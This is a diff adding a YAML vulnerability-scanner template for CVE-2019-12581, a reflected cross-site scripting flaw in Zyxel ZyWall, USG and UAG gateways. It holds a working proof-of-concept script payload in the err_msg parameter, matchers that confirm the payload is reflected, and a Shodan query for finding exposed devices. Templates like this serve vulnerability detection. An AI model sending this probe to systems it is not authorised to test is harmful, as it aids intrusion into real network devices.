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+id: CVE-2019-12581
+
+info:
+  name: Zyxel ZyWall / USG / UAG - Reflected Cross-site scripting
+  author: n-thumann
+  severity: medium
+  description: A reflective Cross-site scripting (XSS) vulnerability in the free_time_failed.cgi CGI program in selected Zyxel ZyWall, USG, and UAG devices allows remote attackers to inject arbitrary web script or HTML via the err_msg parameter.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-12581
+    - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
+    - https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
+    - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-12581
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.title:"ZyWall"
+  tags: cve,cve2019,zyxel,zywall,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>alert(document.domain);</script>"
+          - "Please contact with administrator."
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200